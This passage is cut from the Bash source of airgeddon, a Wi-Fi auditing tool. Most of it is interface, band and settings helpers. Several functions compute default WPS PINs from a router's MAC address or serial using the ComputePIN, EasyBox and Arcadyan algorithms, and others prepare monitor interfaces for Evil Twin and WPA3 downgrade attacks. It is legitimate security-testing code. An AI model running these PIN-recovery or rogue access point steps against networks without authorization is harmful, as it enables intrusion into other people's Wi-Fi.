		if ! grep "${option_var_name}=false" "${rc_path}" > /dev/null; then
			return 1
		fi

		if [ "${required_reboot}" -eq 0 ]; then
			eval "export ${option_var_name}=false"
		fi
	else
		sed -ri "s:(${option_var_name})=(false):\1=true:" "${rc_path}" 2> /dev/null
		if ! grep "${option_var_name}=true" "${rc_path}" > /dev/null; then
			return 1
		fi

		if [ "${required_reboot}" -eq 0 ]; then
			eval "export ${option_var_name}=true"
		fi
	fi

	case "${option_var_name}" in
		"AIRGEDDON_BASIC_COLORS")
			remap_colors
		;;
		"AIRGEDDON_EXTENDED_COLORS")
			initialize_extended_colorized_output
		;;
		"AIRGEDDON_5GHZ_ENABLED")
			phy_interface=$(physical_interface_finder "${interface}")
			check_interface_supported_bands "${phy_interface}" "main_wifi_interface"
			secondary_phy_interface=$(physical_interface_finder "${secondary_wifi_interface}")
			check_interface_supported_bands "${secondary_phy_interface}" "secondary_wifi_interface"
		;;
		"AIRGEDDON_6GHZ_ENABLED")
			phy_interface=$(physical_interface_finder "${interface}")
			check_interface_supported_bands "${phy_interface}" "main_wifi_interface"
			secondary_phy_interface=$(physical_interface_finder "${secondary_wifi_interface}")
			check_interface_supported_bands "${secondary_phy_interface}" "secondary_wifi_interface"
		;;
		"AIRGEDDON_EVIL_TWIN_SOUNDS")
			initialize_sounds
		;;
	esac

	return 0
}

#Get current permanent language
function get_current_permanent_language() {

	debug_print

	current_permanent_language=$(grep "language=" "${scriptfolder}${scriptname}" | grep -v "auto_change_language" | head -n 1 | awk -F "=" '{print $2}')
	current_permanent_language=$(echo "${current_permanent_language}" | sed -e 's/^"//;s/"$//')
}

#Set language as permanent
function set_permanent_language() {

	debug_print

	sed -ri "s:^([l]anguage)=\"[a-zA-Z]+\":\1=\"${language}\":" "${scriptfolder}${scriptname}" 2> /dev/null
	if ! grep -E "^[l]anguage=\"${language}\"" "${scriptfolder}${scriptname}" > /dev/null; then
		return 1
	fi
	return 0
}

#Print the current line of where this was called and the function's name. Applies to some (which are useful) functions
function debug_print() {

	if "${AIRGEDDON_DEBUG_MODE:-true}"; then

		declare excluded_functions=(
							"airmon_fix"
							"ask_yesno"
							"check_pending_of_translation"
							"clean_env_vars"
							"contains_element"
							"create_instance_orchestrator_file"
							"create_rcfile"
							"echo_blue"
							"echo_brown"
							"echo_cyan"
							"echo_green"
							"echo_green_title"
							"echo_pink"
							"echo_red"
							"echo_red_slim"
							"echo_white"
							"echo_yellow"
							"env_vars_initialization"
							"env_vars_values_validation"
							"fix_autocomplete_chars"
							"flying_saucer"
							"generate_dynamic_line"
							"initialize_colors"
							"initialize_instance_settings"
							"initialize_script_settings"
							"instance_setter"
							"interrupt_checkpoint"
							"language_strings"
							"last_echo"
							"physical_interface_finder"
							"print_hint"
							"print_large_separator"
							"print_simple_separator"
							"read_yesno"
							"register_instance_pid"
							"remove_warnings"
							"set_absolute_path"
							"set_script_paths"
							"special_text_missed_optional_tool"
							"store_array"
							"under_construction_message"
						)

		if (IFS=$'\n'; echo "${excluded_functions[*]}") | grep -qFx "${FUNCNAME[1]}"; then
			return 1
		fi

		echo "Line:${BASH_LINENO[1]}" "${FUNCNAME[1]}"
	fi

	return 0
}

#Set the message to show again after an interrupt ([Ctrl+C] or [Ctrl+Z]) without exiting
function interrupt_checkpoint() {

	debug_print

	if [ -z "${last_buffered_type1}" ]; then
		last_buffered_message1=${1}
		last_buffered_message2=${1}
		last_buffered_type1=${2}
		last_buffered_type2=${2}
	else
		if [[ "${1}" -ne "${resume_message}" ]] 2> /dev/null && [[ "${1}" != "${resume_message}" ]]; then
			last_buffered_message2=${last_buffered_message1}
			last_buffered_message1=${1}
			last_buffered_type2=${last_buffered_type1}
			last_buffered_type1=${2}
		fi
	fi
}

#Add the text on a menu when you miss an optional tool
function special_text_missed_optional_tool() {

	debug_print

	declare -a required_tools=("${!3}")

	allowed_menu_option=1
	if ! "${AIRGEDDON_DEVELOPMENT_MODE:-false}"; then
		tools_needed="${optionaltool_needed[${1}]}"
		for item in "${required_tools[@]}"; do
			if [ "${optional_tools[${item}]}" -eq 0 ]; then
				allowed_menu_option=0
				tools_needed+="${item} "
			fi
		done
	fi

	local message
	message=$(replace_string_vars "${@}")

	if [ "${allowed_menu_option}" -eq 1 ]; then
		last_echo "${message}" "${normal_color}"
	else
		[[ ${message} =~ ^([0-9]+)\.(.*)$ ]] && forbidden_options+=("${BASH_REMATCH[1]}")
		tools_needed=${tools_needed:: -1}
		echo_red_slim "${message} (${tools_needed})"
	fi
}

#Generate the chars in front of and behind a text for titles and separators
function generate_dynamic_line() {

	debug_print

	local type=${2}
	if [ "${type}" = "title" ]; then
		if [[ "${FUNCNAME[2]}" = "main_menu" ]] || [[ "${FUNCNAME[2]}" = "main_menu_override" ]]; then
			ncharstitle=91
		else
			ncharstitle=78
		fi
		titlechar="*"
	elif [ "${type}" = "separator" ]; then
		ncharstitle=58
		titlechar="-"
	fi

	titletext=${1}
	titlelength=${#titletext}
	finaltitle=""

	for ((i=0; i < (ncharstitle/2 - titlelength+(titlelength/2)); i++)); do
		finaltitle="${finaltitle}${titlechar}"
	done

	if [ "${type}" = "title" ]; then
		finaltitle="${finaltitle} ${titletext} "
	elif [ "${type}" = "separator" ]; then
		finaltitle="${finaltitle} (${titletext}) "
	fi

	for ((i=0; i < (ncharstitle/2 - titlelength+(titlelength/2)); i++)); do
		finaltitle="${finaltitle}${titlechar}"
	done

	if [ $((titlelength % 2)) -gt 0 ]; then
		finaltitle+="${titlechar}"
	fi

	if [ "${type}" = "title" ]; then
		echo_green_title "${finaltitle}"
	elif [ "${type}" = "separator" ]; then
		echo_blue "${finaltitle}"
	fi
}

#Wrapper to check managed mode on an interface
function check_to_set_managed() {

	debug_print

	check_interface_mode "${1}"
	case "${ifacemode}" in
		"Managed")
			echo
			language_strings "${language}" 0 "red"
			language_strings "${language}" 115 "read"
			return 1
		;;
		"(Non wifi adapter)")
			echo
			language_strings "${language}" 1 "red"
			language_strings "${language}" 115 "read"
			return 1
		;;
	esac
	return 0
}

#Wrapper to check monitor mode on an interface
function check_to_set_monitor() {

	debug_print

	check_interface_mode "${1}"
	case "${ifacemode}" in
		"Monitor")
			echo
			language_strings "${language}" 10 "red"
			language_strings "${language}" 115 "read"
			return 1
		;;
		"(Non wifi adapter)")
			echo
			language_strings "${language}" 13 "red"
			language_strings "${language}" 115 "read"
			return 1
		;;
	esac
	return 0
}

#Check for monitor mode on an interface
function check_monitor_enabled() {

	debug_print

	mode=$(iw "${1}" info 2> /dev/null | grep type | awk '{print $2}')

	current_iface_on_messages="${1}"

	if [[ ${mode^} != "Monitor" ]]; then
		return 1
	fi
	return 0
}

#Check if an interface is a Wi-Fi adapter or not
function check_interface_wifi() {

	debug_print

	iw "${1}" info > /dev/null 2>&1
	return $?
}

#Create a list of interfaces associated to their MAC addresses
function renew_ifaces_and_macs_list() {

	debug_print

	readarray -t IFACES_AND_MACS < <(ip link | grep -E "^[0-9]+" | cut -d ':' -f 2 | awk '{print $1}' | grep -E "^lo$" -v | grep "${interface}" -v)
	declare -gA ifaces_and_macs
	for iface_name in "${IFACES_AND_MACS[@]}"; do
		if [ -f "/sys/class/net/${iface_name}/address" ]; then
			mac_item=$(cat "/sys/class/net/${iface_name}/address" 2> /dev/null)
			if [ -n "${mac_item}" ]; then
				ifaces_and_macs[${iface_name}]=${mac_item}
			fi
		fi
	done

	declare -gA ifaces_and_macs_switched
	for iface_name in "${!ifaces_and_macs[@]}"; do
		ifaces_and_macs_switched[${ifaces_and_macs[${iface_name}]}]=${iface_name}
	done
}

#Check the interface coherence between interface names and MAC addresses
function check_interface_coherence() {

	debug_print

	renew_ifaces_and_macs_list
	interface_auto_change=0

	interface_found=0
	for iface_name in "${!ifaces_and_macs[@]}"; do
		if [ "${interface}" = "${iface_name}" ]; then
			interface_found=1
			interface_mac=${ifaces_and_macs[${iface_name}]}
			break
		fi
	done

	if [ "${interface_found}" -eq 0 ]; then
		if [ -n "${interface_mac}" ]; then
			for iface_mac in "${ifaces_and_macs[@]}"; do
				iface_mac_tmp=${iface_mac:0:15}
				interface_mac_tmp=${interface_mac:0:15}
				if [ "${iface_mac_tmp}" = "${interface_mac_tmp}" ]; then
					interface=${ifaces_and_macs_switched[${iface_mac}]}
					phy_interface=$(physical_interface_finder "${interface}")
					check_interface_supported_bands "${phy_interface}" "main_wifi_interface"
					interface_auto_change=1
					break
				fi
			done
		fi
	fi

	return ${interface_auto_change}
}

#Check if an adapter is compatible to airmon
function check_airmon_compatibility() {

	debug_print

	if [ "${1}" = "interface" ]; then
		set_chipset "${interface}" "read_only"

		if iw phy "${phy_interface}" info 2> /dev/null | grep -iq 'interface combinations are not supported'; then
			interface_airmon_compatible=0
		else
			interface_airmon_compatible=1
		fi
	else
		set_chipset "${secondary_wifi_interface}" "read_only"

		if ! iw dev "${secondary_wifi_interface}" set bitrates legacy-2.4 1 > /dev/null 2>&1; then
			secondary_interface_airmon_compatible=0
		else
			secondary_interface_airmon_compatible=1
		fi
	fi
}

#Add contributing footer to a file
function add_contributing_footer_to_file() {

	debug_print

	{
	echo ""
	echo "---------------"
	echo ""
	echo "${footer_texts[${language},0]}"
	} >> "${1}"
}

#Prepare the vars to be used on wps pin database attacks
function set_wps_mac_parameters() {

	debug_print

	six_wpsbssid_first_digits=${wps_bssid:0:8}
	six_wpsbssid_first_digits_clean=${six_wpsbssid_first_digits//:}
	six_wpsbssid_last_digits=${wps_bssid: -8}
	six_wpsbssid_last_digits_clean=${six_wpsbssid_last_digits//:}
	four_wpsbssid_last_digits=${wps_bssid: -5}
	four_wpsbssid_last_digits_clean=${four_wpsbssid_last_digits//:}
}

#Check if wash has JSON option
function check_json_option_on_wash() {

	debug_print

	wash -h 2>&1 | grep "\-j" > /dev/null
	return $?
}

#Check if wash has dual scan option
function check_dual_scan_on_wash() {

	debug_print

	wash -h 2>&1 | grep "2ghz" > /dev/null
	return $?
}

#Perform wash scan using -j (json) option to gather needed data
function wash_json_scan() {

	debug_print

	rm -rf "${tmpdir}wps_json_data.txt" > /dev/null 2>&1
	rm -rf "${tmpdir}wps_fifo" > /dev/null 2>&1

	mkfifo "${tmpdir}wps_fifo"

	wash_band_modifier=""
	if [ "${wps_channel}" -gt 14 ]; then
		if [ -z "${wps_target_band_id}" ]; then
			wps_target_band_id="${band_5ghz}"
		fi

		if ! check_target_band_supported_by_interface "main_wifi_interface" "wps"; then
			return 1
		fi

		wash_band_modifier="-5"
	fi

	timeout -s SIGTERM 240 wash -i "${interface}" --scan -n 100 -j "${wash_band_modifier}" 2> /dev/null > "${tmpdir}wps_fifo" &
	wash_json_pid=$!
	tee "${tmpdir}wps_json_data.txt"< <(cat < "${tmpdir}wps_fifo") > /dev/null 2>&1 &

	while true; do
		sleep 5
		wash_json_capture_alive=$(ps uax | awk '{print $2}' | grep -E "^${wash_json_pid}$" 2> /dev/null)
		if [ -z "${wash_json_capture_alive}" ]; then
			break
		fi

		if grep "${1}" "${tmpdir}wps_json_data.txt" > /dev/null; then
			serial=$(grep "${1}" "${tmpdir}wps_json_data.txt" | awk -F '"wps_serial" : "' '{print $2}' | awk -F '"' '{print $1}' | sed 's/.*\(....\)/\1/' 2> /dev/null)
			kill "${wash_json_capture_alive}" &> /dev/null
			wait "${wash_json_capture_alive}" 2> /dev/null
			break
		fi
	done

	return 0
}

#Calculate pin based on Zhao Chunsheng algorithm (ComputePIN), step 1
function calculate_computepin_algorithm_step1() {

	debug_print

	hex_to_dec=$(printf '%d\n' 0x"${six_wpsbssid_last_digits_clean}") 2> /dev/null
	computepin_pin=$((hex_to_dec % 10000000))
}

#Calculate pin based on Zhao Chunsheng algorithm (ComputePIN), step 2
function calculate_computepin_algorithm_step2() {

	debug_print

	computepin_pin=$(printf '%08d\n' $((10#${computepin_pin} * 10 + checksum_digit)))
}

#Calculate pin based on Stefan Viehböck algorithm (EasyBox)
#shellcheck disable=SC2207
function calculate_easybox_algorithm() {

	debug_print

	hex_to_dec=($(printf "%04d" "0x${four_wpsbssid_last_digits_clean}" | sed 's/.*\(....\)/\1/;s/./& /g'))
	[[ ${four_wpsbssid_last_digits_clean} =~ ${four_wpsbssid_last_digits_clean//?/(.)} ]] && hexi=($(printf '%s\n' "${BASH_REMATCH[*]:1}"))

	c1=$(printf "%d + %d + %d + %d" "${hex_to_dec[0]}" "${hex_to_dec[1]}" "0x${hexi[2]}" "0x${hexi[3]}")
	c2=$(printf "%d + %d + %d + %d" "0x${hexi[0]}" "0x${hexi[1]}" "${hex_to_dec[2]}" "${hex_to_dec[3]}")

	K1=$((c1 % 16))
	K2=$((c2 % 16))
	X1=$((K1 ^ hex_to_dec[3]))
	X2=$((K1 ^ hex_to_dec[2]))
	X3=$((K1 ^ hex_to_dec[1]))
	Y1=$((K2 ^ 0x${hexi[1]}))
	Y2=$((K2 ^ 0x${hexi[2]}))
	Z1=$((0x${hexi[2]} ^ hex_to_dec[3]))
	Z2=$((0x${hexi[3]} ^ hex_to_dec[2]))

	easybox_pin=$(printf '%08d\n' "$((0x$X1$X2$Y1$Y2$Z1$Z2$X3))" | awk '{for(i=length; i!=0; i--) x=x substr($0, i, 1);} END {print x}' | cut -c -7 | awk '{for(i=length; i!=0; i--) x=x substr($0, i, 1);} END {print x}')
}

#Calculate pin based on Arcadyan algorithm
function calculate_arcadyan_algorithm() {

	debug_print

	local wan=""
	if [ "${four_wpsbssid_last_digits_clean}" = "0000" ]; then
		wan="fffe"
	elif [ "${four_wpsbssid_last_digits_clean}" = "0001" ]; then
		wan="ffff"
	else
		wan=$(printf "%04x" $((0x${four_wpsbssid_last_digits_clean} - 2)))
	fi

	K1=$(printf "%X\n" $(($((0x${serial:0:1} + 0x${serial:1:1} + 0x${wan:2:1} + 0x${wan:3:1})) % 16)))
	K2=$(printf "%X\n" $(($((0x${serial:2:1} + 0x${serial:3:1} + 0x${wan:0:1} + 0x${wan:1:1})) % 16)))
	D1=$(printf "%X\n" $((0x$K1 ^ 0x${serial:3:1})))
	D2=$(printf "%X\n" $((0x$K1 ^ 0x${serial:2:1})))
	D3=$(printf "%X\n" $((0x$K2 ^ 0x${wan:1:1})))
	D4=$(printf "%X\n" $((0x$K2 ^ 0x${wan:2:1})))
	D5=$(printf "%X\n" $((0x${serial:3:1} ^ 0x${wan:2:1})))
	D6=$(printf "%X\n" $((0x${serial:2:1} ^ 0x${wan:3:1})))
	D7=$(printf "%X\n" $((0x$K1 ^ 0x${serial:1:1})))

	arcadyan_pin=$(printf '%07d\n' $(($(printf '%d\n' "0x$D1$D2$D3$D4$D5$D6$D7") % 10000000)))
}

#Calculate the last digit on pin following the checksum rule
function pin_checksum_rule() {

	debug_print

	current_calculated_pin=$((10#${1} * 10))

	accum=0
	accum=$((accum + 3 * (current_calculated_pin/10000000 % 10)))
	accum=$((accum + current_calculated_pin/1000000 % 10))
	accum=$((accum + 3 * (current_calculated_pin/100000 % 10)))
	accum=$((accum + current_calculated_pin/10000 % 10))
	accum=$((accum + 3 * (current_calculated_pin/1000 % 10)))
	accum=$((accum + current_calculated_pin/100 % 10))
	accum=$((accum + 3 * (current_calculated_pin/10 % 10)))

	control_digit=$((accum % 10))
	checksum_digit=$((10 - control_digit))
	checksum_digit=$((checksum_digit % 10))
}

#Manage the calls to check common wps pin algorithms
function check_and_set_common_algorithms() {

	debug_print

	echo
	language_strings "${language}" 388 "blue"
	declare -g calculated_pins=("${wps_default_generic_pin}")

	if ! check_if_type_exists_in_wps_data_array "${wps_bssid}" "ComputePIN"; then
		calculate_computepin_algorithm_step1
		pin_checksum_rule "${computepin_pin}"
		calculate_computepin_algorithm_step2
		calculated_pins+=("${computepin_pin}")
		fill_wps_data_array "${wps_bssid}" "ComputePIN" "${computepin_pin}"
	else
		calculated_pins+=("${wps_data_array["${wps_bssid}",'ComputePIN']}")
	fi

	if ! check_if_type_exists_in_wps_data_array "${wps_bssid}" "EasyBox"; then
		calculate_easybox_algorithm
		pin_checksum_rule "${easybox_pin}"
		easybox_pin=$(printf '%08d\n' $((current_calculated_pin + checksum_digit)))
		calculated_pins+=("${easybox_pin}")
		fill_wps_data_array "${wps_bssid}" "EasyBox" "${easybox_pin}"
	else
		calculated_pins+=("${wps_data_array["${wps_bssid}",'EasyBox']}")
	fi

	if ! check_if_type_exists_in_wps_data_array "${wps_bssid}" "Arcadyan"; then

		able_to_check_json_option_on_wash=0
		if [ "${wps_attack}" = "pindb_bully" ]; then
			if hash wash 2> /dev/null; then
				able_to_check_json_option_on_wash=1
			else
				echo
				language_strings "${language}" 492 "yellow"
				echo
			fi
		elif [ "${wps_attack}" = "pindb_reaver" ]; then
			able_to_check_json_option_on_wash=1
		fi

		if [ "${able_to_check_json_option_on_wash}" -eq 1 ]; then
			if check_json_option_on_wash; then
				ask_yesno 485 "no"
				if [ "${yesno}" = "y" ]; then
					echo
					language_strings "${language}" 489 "blue"

					serial=""
					if wash_json_scan "${wps_bssid}"; then
						if [ -n "${serial}" ]; then
							if [[ "${serial}" =~ ^[0-9]{4}$ ]]; then
								calculate_arcadyan_algorithm
								pin_checksum_rule "${arcadyan_pin}"
								arcadyan_pin="${arcadyan_pin}${checksum_digit}"
								calculated_pins=("${arcadyan_pin}" "${calculated_pins[@]}")
								fill_wps_data_array "${wps_bssid}" "Arcadyan" "${arcadyan_pin}"
								echo
								language_strings "${language}" 487 "yellow"
							else
								echo
								language_strings "${language}" 491 "yellow"
							fi
							echo
						else
							echo
							language_strings "${language}" 488 "yellow"
							echo
						fi
					fi
				fi
			else
				echo
				language_strings "${language}" 486 "yellow"
			fi
		fi
	else
		echo
		calculated_pins=("${wps_data_array["${wps_bssid}",'Arcadyan']}" "${calculated_pins[@]}")
		language_strings "${language}" 493 "yellow"
		echo
	fi

	if integrate_algorithms_pins; then
		language_strings "${language}" 389 "yellow"
	fi
}

#Integrate calculated pins from algorithms into pins array
function integrate_algorithms_pins() {

	debug_print

	some_calculated_pin_included=0
	for ((idx=${#calculated_pins[@]}-1; idx>=0; idx--)) ; do
		this_pin_already_included=0
		for item in "${pins_found[@]}"; do
			if [ "${item}" = "${calculated_pins[idx]}" ]; then
				this_pin_already_included=1
				break
			fi
		done

		if [ "${this_pin_already_included}" -eq 0 ]; then
			pins_found=("${calculated_pins[idx]}" "${pins_found[@]}")
			counter_pins_found=$((counter_pins_found + 1))
			some_calculated_pin_included=1
		fi
	done

	if [ "${some_calculated_pin_included}" -eq 1 ]; then
		return 0
	fi

	return 1
}

#Search for target wps bssid MAC address in pin database and set the vars to be used
#shellcheck disable=SC2128
function search_in_pin_database() {

	debug_print

	bssid_found_in_db=0
	counter_pins_found=0
	declare -g pins_found=()
	for item in "${!PINDB[@]}"; do
		if [ "${item}" = "${six_wpsbssid_first_digits_clean}" ]; then
			bssid_found_in_db=1
			arrpins=("${PINDB[${item//[[:space:]]/ }]}")
			pins_found+=("${arrpins[0]}")
			counter_pins_found=$(echo "${pins_found[@]}" | wc -w)
			fill_wps_data_array "${wps_bssid}" "Database" "${pins_found}"
		fi
	done
}

#Handler for multiple busy port checkings
function check_busy_ports() {

	debug_print

	IFS=' ' read -r -a tcp_ports <<< "${ports_needed["tcp"]}"
	IFS=' ' read -r -a udp_ports <<< "${ports_needed["udp"]}"

	if [[ -n "${tcp_ports[*]}" ]] && [[ "${#tcp_ports[@]}" -ge 1 ]]; then
		port_type="tcp"
		for tcp_port in "${tcp_ports[@]}"; do
			if ! check_tcp_udp_port "${tcp_port}" "${port_type}" "${interface}"; then
				busy_port="${tcp_port}"
				find_process_name_by_port "${tcp_port}" "${port_type}"
				echo
				language_strings "${language}" 698 "red"
				language_strings "${language}" 115 "read"
				return 1
			fi
		done
	fi

	if [[ -n "${udp_ports[*]}" ]] && [[ "${#udp_ports[@]}" -ge 1 ]]; then
		port_type="udp"
		for udp_port in "${udp_ports[@]}"; do
			if ! check_tcp_udp_port "${udp_port}" "${port_type}" "${interface}"; then
				busy_port="${udp_port}"
				find_process_name_by_port "${udp_port}" "${port_type}"
				echo
				language_strings "${language}" 698 "red"
				language_strings "${language}" 115 "read"
				return 1
			fi
		done
	fi

	return 0
}

#Validate if a given tcp/udp port is busy on the given interface
#shellcheck disable=SC2207
function check_tcp_udp_port() {

	debug_print

	local port
	local port_type
	port=$(printf "%04x" "${1}")
	port_type="${2}"

	local network_interface
	local ip_address
	local hex_ip_address
	network_interface="${3}"
	ip_address=$(ip -4 -o addr show "${network_interface}" 2> /dev/null | awk '{print $4}' | cut -d "/" -f 1)

	if [ -n "${ip_address}" ]; then
		hex_ip_address=$(ip_dec_to_hex "${ip_address}")
	else
		hex_ip_address=""
	fi

	declare -a busy_ports=($(awk -v iplist="${hex_ip_address},00000000" 'BEGIN {split(iplist,a,","); for (i in a) ips[a[i]]} /local_address/ {next} {split($2,a,":"); if (a[1] in ips) ports[a[2] $4]} END {for (port in ports) print port}' "/proc/net/${port_type}" "/proc/net/${port_type}6"))

	for hexport in "${busy_ports[@]}"; do
		if [[ "${port_type}" == "tcp" || "${port_type}" == "tcp6" ]]; then
			if [ "${hexport}" = "${port}0A" ]; then
				return 1
			fi
		else
			if [[ "${hexport}" = "${port}07" ]] && [[ "${port}" != "0043" ]]; then
				return 1
			fi
		fi
	done

	return 0
}

#Find process name from a given port
function find_process_name_by_port() {

	debug_print

	local port
	port="${1}"
	local port_type
	port_type="${2}"

	local regexp_part1
	local regexp_part2
	regexp_part1="${port_type}\h.*?[0-9A-Za-z%\*]:${port}"
	regexp_part2='\h.*?\busers:\(\("\K[^"]+(?=")'

	local regexp
	regexp="${regexp_part1}${regexp_part2}"

	if hash ss 2> /dev/null; then
		blocking_process_name=$(ss -tupln | grep -oP "${regexp}")
	else
		blocking_process_name="${unknown_chipsetvar,,}"
	fi
}

#Convert an IP address from decimal to hexdecimal returning its value
ip_dec_to_hex() {

	debug_print

	IFS='.' read -r -a octets <<< "${1}"

	local hex
	hex=""
	for octet in "${octets[@]}"; do
		hex="$(printf "%02X%s" "${octet}" "${hex}")"
	done

	echo "${hex}"
}

#Validate if a wireless adapter is supporting VIF (Virtual Interface Functionality)
function check_vif_support() {

	debug_print

	if iw "${phy_interface}" info | grep "Supported interface modes" -A 8 | grep "AP/VLAN" > /dev/null 2>&1; then
		return 0
	else
		return 1
	fi
}

#Returns warning messages if long Wi-Fi names detected
function check_interface_wifi_longname() {

	debug_print

	wifi_adapter="${1}"
	longname_patterns=("wlx[0-9a-fA-F]{12}")
	for pattern in "${longname_patterns[@]}"; do
		if [[ ${wifi_adapter} =~ $pattern ]]; then
			echo
			language_strings "${language}" 708 "yellow"
			echo
			language_strings "${language}" 709 "yellow"
			language_strings "${language}" 115 "read"
			return 1
		fi
	done

	return 0
}

#Find the physical interface for an adapter
function physical_interface_finder() {

	debug_print

	local phy_iface
	phy_iface=$(basename "$(readlink "/sys/class/net/${1}/phy80211")" 2> /dev/null)
	echo "${phy_iface}"
}

#Check the wireless stamdards supported by a given physical adapter
function check_supported_standards() {

	debug_print

	if iw phy "${1}" info | grep -Eq 'HT20/HT40' 2> /dev/null; then
		standard_80211n=1
	else
		standard_80211n=0
	fi

	if iw phy "${1}" info | grep -Eq 'VHT' 2> /dev/null; then
		standard_80211ac=1
	else
		standard_80211ac=0
	fi

	if iw phy "${1}" info | grep -Eq 'HE40/HE80' 2> /dev/null; then
		standard_80211ax=1
	else
		standard_80211ax=0
	fi

	if iw phy "${1}" info | grep -Eq 'EHT bw=20 MHz' 2> /dev/null; then
		standard_80211be=1
	else
		standard_80211be=0
	fi

	if [ "${standard_80211be}" -eq 1 ]; then
		wifi_standard_short="(WiFi7)"
	elif [ "${standard_80211ax}" -eq 1 ]; then
		if iw phy "${1}" channels 2> /dev/null | grep -Ei "5955(\.0)? MHz" > /dev/null; then
			wifi_standard_short="(WiFi6e)"
		else
			wifi_standard_short="(WiFi6)"
		fi
	elif [ "${standard_80211ac}" -eq 1 ]; then
		wifi_standard_short="(WiFi5)"
	elif [ "${standard_80211n}" -eq 1 ]; then
		wifi_standard_short="(WiFi4)"
	else
		wifi_standard_short=""
	fi
}

#Build channel to frequency mappings for different bands
function channel_mappings() {

	debug_print

	declare -gA channels_to_freq_correspondence
	declare -ga channels_24ghz_list
	declare -ga channels_5ghz_list
	declare -ga channels_6ghz_list

	channels_24ghz_list=(1 2 3 4 5 6 7 8 9 10 11 12 13 14)
	channels_5ghz_list=(36 40 44 48 52 56 60 64 100 104 108 112 116 120 124 128 132 136 140 144 149 153 157 161 165)
	channels_6ghz_list=()

	for ch in "${channels_24ghz_list[@]}"; do
		channels_to_freq_correspondence["2.4Ghz,${ch}"]=$((2407 + (5 * ch)))
	done
	channels_to_freq_correspondence["2.4Ghz,14"]="2484"

	for ch in "${channels_5ghz_list[@]}"; do
		channels_to_freq_correspondence["5Ghz,${ch}"]=$((5000 + (5 * ch)))
	done

	for ((ch=1; ch<=233; ch+=4)); do
		channels_6ghz_list+=("${ch}")
		channels_to_freq_correspondence["6Ghz,${ch}"]=$((5955 + (5 * (ch - 1))))
	done
}

#Check the bands supported by a given physical adapter
function check_interface_supported_bands() {

	debug_print

	get_5ghz_band_info_from_phy_interface "${1}"
	case "$?" in
		"0")
			interfaces_band_info["${2},5Ghz_allowed"]=1
			interfaces_band_info["${2},text"]="${band_24ghz}, ${band_5ghz}"
		;;
		"1")
			interfaces_band_info["${2},5Ghz_allowed"]=0
			interfaces_band_info["${2},text"]="${band_24ghz}"
		;;
		"2")
			interfaces_band_info["${2},5Ghz_allowed"]=0
			interfaces_band_info["${2},text"]="${band_24ghz}, ${band_5ghz} (${red_color}${disabled_text[${language}]}${pink_color})"
		;;
	esac

	get_6ghz_band_info_from_phy_interface "${1}"
	case "$?" in
		"0")
			interfaces_band_info["${2},6Ghz_allowed"]=1
			interfaces_band_info["${2},text"]="${interfaces_band_info[${2},text]}, ${band_6ghz}"
		;;
		"1")
			interfaces_band_info["${2},6Ghz_allowed"]=0
		;;
		"2")
			interfaces_band_info["${2},6Ghz_allowed"]=0
			interfaces_band_info["${2},text"]="${interfaces_band_info[${2},text]}, ${band_6ghz} (${red_color}${disabled_text[${language}]}${pink_color})"
		;;
	esac
}

#Check 5Ghz band info from a given physical interface
function get_5ghz_band_info_from_phy_interface() {

	debug_print

	if iw phy "${1}" channels 2> /dev/null | grep -Ei "5180(\.0)? MHz" > /dev/null; then
		if "${AIRGEDDON_5GHZ_ENABLED:-true}"; then
			return 0
		else
			return 2
		fi
	fi

	return 1
}

#Check 6Ghz band info from a given physical interface
function get_6ghz_band_info_from_phy_interface() {

	debug_print

	if iw phy "${1}" channels 2> /dev/null | grep -Ei "5955(\.0)? MHz" > /dev/null; then
		if ! "${AIRGEDDON_5GHZ_ENABLED:-false}"; then
			return 2
		fi
		if "${AIRGEDDON_6GHZ_ENABLED:-true}"; then
			return 0
		else
			return 2
		fi
	fi

	return 1
}

#Detect country code and if region is set
function region_check() {

	debug_print

	country_code="$(iw reg get | awk 'FNR == 2 {print $2}' | cut -f 1 -d ":" 2> /dev/null)"
	[[ ! ${country_code} =~ ^[A-Z]{2}$|^99$ ]] && country_code="00"
}

#Prepare monitor mode avoiding the use of airmon-ng or airmon-zc generating two interfaces from one for WPA3 downgrade attack
function prepare_wpa3_downgrade_monitor() {

	debug_print

	disable_rfkill

	iface_phy_number=${phy_interface:3:1}
	iface_monitor_downgrade_deauth="mon${iface_phy_number}"

	iw dev "${interface}" set channel "${channel}" > /dev/null 2>&1
	iw phy "${phy_interface}" interface add "${iface_monitor_downgrade_deauth}" type monitor 2> /dev/null
	ip link set "${iface_monitor_downgrade_deauth}" up > /dev/null 2>&1
}

#Prepare monitor mode avoiding the use of airmon-ng or airmon-zc generating two interfaces from one for Evil Twin attacks
function prepare_et_monitor() {

	debug_print

	disable_rfkill

	iface_phy_number=${phy_interface:3:1}
	iface_monitor_et_deauth="mon${iface_phy_number}"

	iw dev "${interface}" set channel "${channel}" > /dev/null 2>&1
	iw phy "${phy_interface}" interface add "${iface_monitor_et_deauth}" type monitor 2> /dev/null
	ip link set "${iface_monitor_et_deauth}" up > /dev/null 2>&1
}

#Assure the mode of the interface before the Evil Twin or Enterprise process
function prepare_et_interface() {

	debug_print

	et_initial_state=${ifacemode}

	if [ "${ifacemode}" != "Managed" ]; then
		check_airmon_compatibility "interface"
		if [ "${interface_airmon_compatible}" -eq 1 ]; then

			new_interface=$(${airmon} stop "${interface}" 2> /dev/null | grep station | head -n 1)
			ifacemode="Managed"
			[[ ${new_interface} =~ \]?([A-Za-z0-9]+)\)?$ ]] && new_interface="${BASH_REMATCH[1]}"

			if [ "${interface}" != "${new_interface}" ]; then
				if check_interface_coherence; then
					interface=${new_interface}
					phy_interface=$(physical_interface_finder "${interface}")
					check_interface_supported_bands "${phy_interface}" "main_wifi_interface"
					current_iface_on_messages="${interface}"
				fi
				echo
				language_strings "${language}" 15 "yellow"
			fi
		else
			if ! set_mode_without_airmon "${interface}" "managed"; then
				echo
				language_strings "${language}" 1 "red"
				language_strings "${language}" 115 "read"
				return 1
			else
				ifacemode="Managed"
			fi
		fi
	fi
}

#Restore the state of the interfaces after Evil Twin or Enterprise attack process
function restore_et_interface() {

	debug_print

	echo
	language_strings "${language}" 299 "blue"

	disable_rfkill

	mac_spoofing_desired=0

	iw dev "${iface_monitor_et_deauth}" del > /dev/null 2>&1

	ip addr del "${et_ip_router}/${std_c_mask}" dev "${interface}" > /dev/null 2>&1
	ip route del "${et_ip_range}/${std_c_mask_cidr}" dev "${interface}" table local proto static scope link > /dev/null 2>&1

	if [ "${et_initial_state}" = "Managed" ]; then
		set_mode_without_airmon "${interface}" "managed"
		ifacemode="Managed"
	else
		if [ "${interface_airmon_compatible}" -eq 1 ]; then
